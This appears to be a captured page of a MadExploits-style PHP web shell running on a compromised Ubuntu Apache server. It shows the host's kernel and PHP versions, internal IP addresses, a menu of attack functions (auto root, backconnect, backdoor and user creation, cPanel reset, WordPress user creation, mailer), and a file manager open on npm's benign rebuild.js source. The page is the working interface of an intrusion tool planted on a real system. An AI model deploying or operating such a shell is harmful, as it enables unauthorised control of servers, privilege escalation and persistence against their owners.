Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
npm /
lib /
commands /
[ HOME SHELL ]
Name
Size
Permission
Action
access.js
5.16
KB
-rw-r--r--
adduser.js
1.85
KB
-rw-r--r--
audit.js
1.5
KB
-rw-r--r--
bin.js
491
B
-rw-r--r--
birthday.js
262
B
-rw-r--r--
bugs.js
1.49
KB
-rw-r--r--
cache.js
7.04
KB
-rw-r--r--
ci.js
3.7
KB
-rw-r--r--
completion.js
8.89
KB
-rw-r--r--
config.js
7.94
KB
-rw-r--r--
dedupe.js
1.35
KB
-rw-r--r--
deprecate.js
2.07
KB
-rw-r--r--
diff.js
7.82
KB
-rw-r--r--
dist-tag.js
5.29
KB
-rw-r--r--
docs.js
1.34
KB
-rw-r--r--
doctor.js
9.39
KB
-rw-r--r--
edit.js
1.39
KB
-rw-r--r--
exec.js
2.56
KB
-rw-r--r--
explain.js
3.47
KB
-rw-r--r--
explore.js
2.29
KB
-rw-r--r--
find-dupes.js
602
B
-rw-r--r--
fund.js
6.44
KB
-rw-r--r--
get.js
483
B
-rw-r--r--
help-search.js
5.51
KB
-rw-r--r--
help.js
3.84
KB
-rw-r--r--
hook.js
4.04
KB
-rw-r--r--
init.js
6.21
KB
-rw-r--r--
install-ci-test.js
377
B
-rw-r--r--
install-test.js
374
B
-rw-r--r--
install.js
5.36
KB
-rw-r--r--
link.js
5.13
KB
-rw-r--r--
ll.js
234
B
-rw-r--r--
logout.js
1.32
KB
-rw-r--r--
ls.js
17.06
KB
-rw-r--r--
org.js
4.5
KB
-rw-r--r--
outdated.js
8.89
KB
-rw-r--r--
owner.js
6.04
KB
-rw-r--r--
pack.js
2.23
KB
-rw-r--r--
ping.js
839
B
-rw-r--r--
pkg.js
3.44
KB
-rw-r--r--
prefix.js
303
B
-rw-r--r--
profile.js
11.24
KB
-rw-r--r--
prune.js
764
B
-rw-r--r--
publish.js
6.13
KB
-rw-r--r--
rebuild.js
2.16
KB
-rw-r--r--
repo.js
2.17
KB
-rw-r--r--
restart.js
309
B
-rw-r--r--
root.js
258
B
-rw-r--r--
run-script.js
6.83
KB
-rw-r--r--
search.js
2.48
KB
-rw-r--r--
set-script.js
2.47
KB
-rw-r--r--
set.js
531
B
-rw-r--r--
shrinkwrap.js
2.62
KB
-rw-r--r--
star.js
1.99
KB
-rw-r--r--
stars.js
1011
B
-rw-r--r--
start.js
299
B
-rw-r--r--
stop.js
294
B
-rw-r--r--
team.js
4.59
KB
-rw-r--r--
test.js
294
B
-rw-r--r--
token.js
6.88
KB
-rw-r--r--
uninstall.js
1.56
KB
-rw-r--r--
unpublish.js
4.59
KB
-rw-r--r--
unstar.js
348
B
-rw-r--r--
update.js
1.7
KB
-rw-r--r--
version.js
3.12
KB
-rw-r--r--
view.js
14.1
KB
-rw-r--r--
whoami.js
523
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rebuild.js
const { resolve } = require('path') const Arborist = require('@npmcli/arborist') const npa = require('npm-package-arg') const semver = require('semver') const completion = require('../utils/completion/installed-deep.js') const ArboristWorkspaceCmd = require('../arborist-cmd.js') class Rebuild extends ArboristWorkspaceCmd { static description = 'Rebuild a package' static name = 'rebuild' static params = [ 'global', 'bin-links', 'ignore-scripts', ...super.params, ] static usage = ['[[<@scope>/]<name>[@<version>] ...]'] // TODO /* istanbul ignore next */ async completion (opts) { return completion(this.npm, opts) } async exec (args) { const globalTop = resolve(this.npm.globalDir, '..') const where = this.npm.config.get('global') ? globalTop : this.npm.prefix const arb = new Arborist({ ...this.npm.flatOptions, path: where, // TODO when extending ReifyCmd // workspaces: this.workspaceNames, }) if (args.length) { // get the set of nodes matching the name that we want rebuilt const tree = await arb.loadActual() const specs = args.map(arg => { const spec = npa(arg) if (spec.type === 'tag' && spec.rawSpec === '') { return spec } if (spec.type !== 'range' && spec.type !== 'version' && spec.type !== 'directory') { throw new Error('`npm rebuild` only supports SemVer version/range specifiers') } return spec }) const nodes = tree.inventory.filter(node => this.isNode(specs, node)) await arb.rebuild({ nodes }) } else { await arb.rebuild() } this.npm.output('rebuilt dependencies successfully') } isNode (specs, node) { return specs.some(spec => { if (spec.type === 'directory') { return node.path === spec.fetchSpec } if (spec.name !== node.name) { return false } if (spec.rawSpec === '' || spec.rawSpec === '*') { return true } const { version } = node.package // TODO: add tests for a package with missing version return semver.satisfies(version, spec.fetchSpec) }) } } module.exports = Rebuild
Close